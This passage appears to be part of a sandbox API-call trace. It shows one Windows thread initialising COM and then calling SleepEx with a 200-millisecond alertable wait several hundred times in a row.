	[0095.849] CoUninitialize () 

Thread:
	id = 143
	os_tid = 0x8b4

	[0085.200] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0085.220] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0085.429] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0085.711] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0086.021] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0086.220] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0086.430] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0086.626] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0086.829] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0087.039] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0087.235] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0087.437] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0087.641] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0087.845] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0088.065] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0088.264] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0088.467] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0088.904] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0089.200] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0089.505] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0089.708] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0089.908] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0090.106] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0090.314] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0090.515] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0090.716] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0090.921] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0091.122] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0091.325] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0091.527] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0091.733] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0091.941] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0092.138] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0092.341] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0092.561] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0092.822] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0093.025] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0093.228] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0093.430] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0093.635] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0093.837] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0094.041] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0094.265] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0094.493] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0094.730] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0094.962] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0095.228] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0095.428] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0095.630] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0095.857] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0096.056] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0096.323] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0096.519] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0096.726] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0096.944] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0097.146] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0097.347] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0097.551] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0097.749] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0097.952] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0098.240] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0098.437] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0098.639] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0098.917] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0099.232] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0099.465] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0099.792] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0099.986] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0100.382] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0100.688] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0101.101] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0101.291] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0101.565] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0101.810] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0102.099] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0102.323] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0102.524] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0102.726] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0102.928] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0103.132] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0103.335] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0103.548] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0103.739] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0103.973] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0104.207] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0104.441] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0104.675] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0104.909] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0105.112] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0105.315] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0105.533] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0105.737] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0105.939] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0106.144] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0106.344] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0106.573] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0106.968] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0107.175] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0107.396] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0107.637] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0107.833] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0108.032] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0108.232] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0108.450] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0108.653] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0108.913] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0109.106] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0109.309] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0109.543] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0109.825] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0110.028] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0110.339] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0110.639] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0110.843] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0111.150] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0111.396] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0111.586] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0111.804] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0112.085] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0112.288] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0112.499] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0112.695] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0112.896] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0113.103] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0113.333] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0113.567] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0113.801] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0114.069] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0114.300] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0114.503] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0114.709] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0114.913] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0115.112] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0115.317] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0115.522] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0115.720] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0115.924] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0116.157] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0116.375] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0116.609] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0116.844] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0117.127] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0117.358] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0117.579] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0117.782] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0117.982] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0118.197] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0118.393] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0118.591] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0118.793] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0119.089] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0119.308] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0119.513] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0119.714] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0119.932] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0120.138] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0120.338] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0120.572] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0120.774] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0120.977] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0121.180] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0121.399] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0121.620] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0121.852] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0122.069] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0122.274] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0122.475] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0122.679] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0122.880] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0123.083] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0123.296] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0123.489] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0123.696] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0123.895] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0124.109] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0124.300] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0124.503] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0124.706] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0124.908] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0125.113] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0125.345] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0125.548] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0125.751] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0125.962] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0126.158] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0126.359] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0126.593] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0126.827] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0127.094] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0127.319] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0127.518] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0127.720] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0127.919] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0128.122] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0128.330] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0128.567] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0128.766] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0129.031] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0129.242] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0129.463] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0129.666] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0129.995] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0130.197] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0130.400] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0130.607] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0132.250] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0132.459] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0132.661] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0132.864] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0133.067] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0133.363] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0133.566] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0133.790] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0134.019] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0134.253] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0134.477] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0134.714] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0134.910] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0135.111] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0135.314] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0135.516] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0135.726] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0135.928] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0136.125] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0136.328] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0136.530] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0136.862] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0137.069] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0137.273] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0137.469] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0137.736] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0137.935] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0138.184] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0138.418] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0138.770] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0138.979] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0139.183] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0139.401] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0139.635] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0139.853] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0140.067] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0140.290] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0140.495] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0140.703] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0140.975] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0141.177] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0141.382] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0141.592] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0141.819] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0142.028] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0142.238] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0142.431] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0142.639] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0142.900] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0143.100] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0143.313] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0143.535] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0143.768] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0143.956] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0144.175] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0144.393] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0144.627] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0144.854] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0145.049] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0145.252] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0145.454] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0145.658] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0145.859] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0146.066] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0146.265] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0146.468] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0146.670] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0146.881] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0147.085] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0147.279] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0147.485] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0147.684] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0147.891] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0148.090] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0148.293] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0148.506] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0148.706] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0148.901] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0149.109] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0149.308] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0149.515] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0149.753] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0149.949] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0150.149] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0150.352] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0150.560] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0150.842] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0151.040] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0151.241] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0151.444] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0151.658] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0151.849] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0152.059] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0152.276] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0152.474] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0152.692] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0152.895] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0153.097] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0153.317] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0153.520] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0153.766] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0153.958] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0154.159] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0154.386] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0154.588] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0154.971] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0155.182] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0155.406] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0155.609] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0155.826] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0156.017] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0156.217] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0156.421] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0156.623] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0157.046] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0157.247] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0157.450] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0157.655] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0157.859] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0158.059] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0158.262] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0158.473] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0158.670] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0158.967] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0159.180] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0159.369] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0159.603] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0159.805] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0160.009] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0160.211] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0160.414] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0160.617] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0160.821] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0161.022] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0161.226] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0161.428] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0161.631] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0161.833] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0162.040] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0162.241] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0162.442] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0162.645] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0162.848] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0163.051] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0163.260] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0163.456] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0163.659] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0163.878] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0164.080] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0164.299] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0164.502] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
